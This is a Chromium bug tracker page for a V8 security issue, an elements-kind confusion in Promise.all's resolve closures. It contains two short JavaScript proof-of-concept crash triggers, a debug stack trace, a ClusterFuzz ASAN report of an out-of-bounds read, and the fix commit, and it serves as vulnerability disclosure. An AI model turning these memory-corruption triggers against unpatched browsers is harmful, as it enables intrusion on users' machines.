New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 820312 link

Starred by 2 users

Issue metadata

Status: Verified
Owner:
Closed: Mar 2018
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: Linux , Android , Windows , Chrome , Mac , Fuchsia
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: V8: PromiseAllResolveElementClosure can cause elements kind confusion

Project Member Reported by lokihardt@google.com, Mar 9 2018

Issue description

The Promise.all method internally uses PromiseAllResolveElementClosure (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1910) as a resolver for each of given Promise objects to insert a value into the result array at a specific index.

PromiseAllResolveElementClosure first tries to grow the capacity of the result array, and if it fails due to the index being too large, it uses the CreateDataProperty method to insert the value. The problem is, the growing operation (https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-promise-gen.cc?rcl=dc2d3bb9711effb349df58af26c49169aa019121&l=1933) always excepts the elements kind of the array to be PACKED_ELEMENTS despite the CreateDataProperty can transition it to DICTIONARY_ELEMENTS.

PoC with comments:
let arr = new Array(0x10000);
let resolve_element_closures = new Array(0x10000);

for (let i = 0; i < arr.length; i++) {
    arr[i] = new Promise(() => {});
    arr[i].then = ((idx, resolve) => {
        resolve_element_closures[idx] = resolve;
    }).bind(null, i);
}

Promise.all(arr);

// 0xffff is too large, transitions to DICTIONARY_ELEMENTS
resolve_element_closures[0xffff]();

// grows the capacity, the elements kind of the result array is still DICTIONARY_ELEMENTS, but the elements object of it is no more a dictionary.
resolve_element_closures[100]();

// You can observe that V8 crashes here in debug mode.
resolve_element_closures[0xfffe]();

PoC for release mode:
var promise = new Promise(() => {})
promise.then = function (cb) {
    cb();
};

let arr = new Array(0x10000);
arr.fill(0);
arr[arr.length - 1] = promise;

Promise.all(arr);


Crash log:
#
# Fatal error in ../../src/objects-inl.h, line 2814
# Debug check failed: fixed_array->IsDictionary().
#
#
#
#FailureMessage Object: 0x7f122141d860
==== C stack trace ===============================

    ./d8(__interceptor_backtrace+0x61) [0x561ea9b7c0e1]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f122c26dcee]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libplatform.so(+0x6b924) [0x7f122c19f924]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x3a4) [0x7f122c2351e4]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(+0x557e7) [0x7f122c2347e7]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8_libbase.so(V8_Dcheck(char const*, int, char const*)+0x32) [0x7f122c235332]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsKind()+0x25b) [0x7f12280f7f6b]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::JSObject::GetElementsAccessor()+0x15) [0x7f122a146185]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInRegularHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x20e) [0x7f122a02082e]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::State v8::internal::LookupIterator::LookupInHolder<true>(v8::internal::Map*, v8::internal::JSReceiver*)+0x5c) [0x7f122a01b90c]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(void v8::internal::LookupIterator::Start<true>()+0x212) [0x7f122a01b772]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::Handle<v8::internal::JSReceiver>, v8::internal::LookupIterator::Configuration)+0x6da) [0x7f1227c8151a]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::LookupIterator(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, unsigned int, v8::internal::LookupIterator::Configuration)+0x2ee) [0x7f1227c8073e]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::LookupIterator::PropertyOrElement(v8::internal::Isolate*, v8::internal::Handle<v8::internal::Object>, v8::internal::Handle<v8::internal::Object>, bool*, v8::internal::LookupIterator::Configuration)+0x547) [0x7f122a007d07]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(+0x4833085) [0x7f122a9a8085]
    /home/lokihardt/debug/v8/out.gn/x64.debug/./libv8.so(v8::internal::Runtime_CreateDataProperty(int, v8::internal::Object**, v8::internal::Isolate*)+0x30f) [0x7f122a9a6f2f]
    [0x7efc88a04584]


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
 
Project Member

Comment 1 by ClusterFuzz, Mar 9 2018

ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5091256498388992.
Project Member

Comment 2 by ClusterFuzz, Mar 9 2018

Detailed report: https://clusterfuzz.com/testcase?key=5091256498388992

Job Type: linux_asan_chrome_mp
Platform Id: linux

Crash Type: UNKNOWN READ
Crash Address: 0x7edfd051b530
Crash State:
  v8::internal::HashTable<v8::internal::NumberDictionary, v8::internal::NumberDict
  void v8::internal::LookupIterator::Start<true>
  v8::internal::LookupIterator::PropertyOrElement
  
Sanitizer: address (ASAN)

Recommended Security Severity: Medium

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5091256498388992

See https://github.com/google/clusterfuzz-tools for more information.

Note: This crash might not be reproducible with the provided testcase. That said, for the past 14 days we've been seeing this crash frequently. If you are unable to reproduce this, please try a speculative fix based on the crash stacktrace in the report. The fix can be verified by looking at the crash statistics in the report, a day after the fix is deployed. We will auto-close the bug if the crash is not seen for 14 days.

The recommended severity is different from what was assigned to the bug. Please double check the accuracy of the assigned severity.

Cc: verwa...@chromium.org
Owner: bmeu...@chromium.org
Status: Assigned (was: Unconfirmed)
Project Member

Comment 4 by bugdroid1@chromium.org, Mar 9 2018

The following revision refers to this bug:
  https://chromium.googlesource.com/v8/v8.git/+/fd29e1d8415b73f4000646c31d1792b60cef8e96

commit fd29e1d8415b73f4000646c31d1792b60cef8e96
Author: Benedikt Meurer <bmeurer@chromium.org>
Date: Fri Mar 09 14:25:34 2018

[builtins] Properly handle DICTIONARY_ELEMENTS in Promise.all closures.

Bug:  chromium:820312 
Change-Id: Ie9237a5c53ac7121e469af460a2f0ad5016d9d03
Reviewed-on: https://chromium-review.googlesource.com/957090
Commit-Queue: Benedikt Meurer <bmeurer@chromium.org>
Reviewed-by: Sathya Gunasekaran <gsathya@chromium.org>
Cr-Commit-Position: refs/heads/master@{#51844}
[modify] https://crrev.com/fd29e1d8415b73f4000646c31d1792b60cef8e96/src/builtins/builtins-promise-gen.cc
[add] https://crrev.com/fd29e1d8415b73f4000646c31d1792b60cef8e96/test/mjsunit/regress/regress-crbug-820312.js

Labels: Security_Impact-Stable OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Mac OS-Windows
Status: Fixed (was: Assigned)
Project Member

Comment 7 by sheriffbot@chromium.org, Mar 10 2018

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
 Issue 820823  has been merged into this issue.
Project Member

Comment 9 by ClusterFuzz, Mar 12 2018

Labels: ClusterFuzz-Verified
Status: Verified (was: Fixed)
ClusterFuzz testcase 5719532635947008 is verified as fixed, so closing issue as verified.

If this is incorrect, please add ClusterFuzz-Wrong label and re-open the issue.
Cc: brajkumar@chromium.org clemensh@chromium.org
 Issue 820801  has been merged into this issue.
Project Member

Comment 11 by sheriffbot@chromium.org, Jun 16 2018

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Sign in to add a comment